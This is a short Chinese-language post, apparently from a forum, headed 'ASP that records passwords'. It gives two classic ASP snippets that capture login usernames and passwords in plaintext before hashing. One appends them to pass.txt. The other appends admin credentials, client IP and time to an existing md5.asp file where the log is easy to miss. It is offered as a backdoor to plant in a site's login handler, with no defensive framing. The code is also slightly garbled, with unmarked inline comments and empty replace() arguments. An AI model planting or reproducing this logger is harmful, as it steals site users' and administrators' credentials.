记录密码的asp

<%
dim username,password,strlogfile,f,ff,strlogtext 这里是变量定义

username=replace(request("username"),"","") 用户名表
password=replace(request("password"),"","") 密码表
strlogfile="pass.txt" 记录文件
strlogtext=strlogtext&"号码:"&username&"----"&"密码:"&password&chr(13)+chr(10)
set f=server.createobject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&""&strlogfile,8,true,0)
ff.writeline(chr(13)+chr(10)&strlogtext)
ff.close
set ff=nothing
set f=nothing
password=md5(request("password"),16)
%>

第二个

保存到已存在的md5.文件里

ip=request.servervariables("remote_addr")
set fs=server.createobject("scripting.filesystemobject")
set file=fs.opentextfile(server.mappath("md5.asp"),8,true)
file.writeline adminname & "----" & adminpass & " ip:" & ip & " " &now()
file.close
set file=nothing
set fs=nothing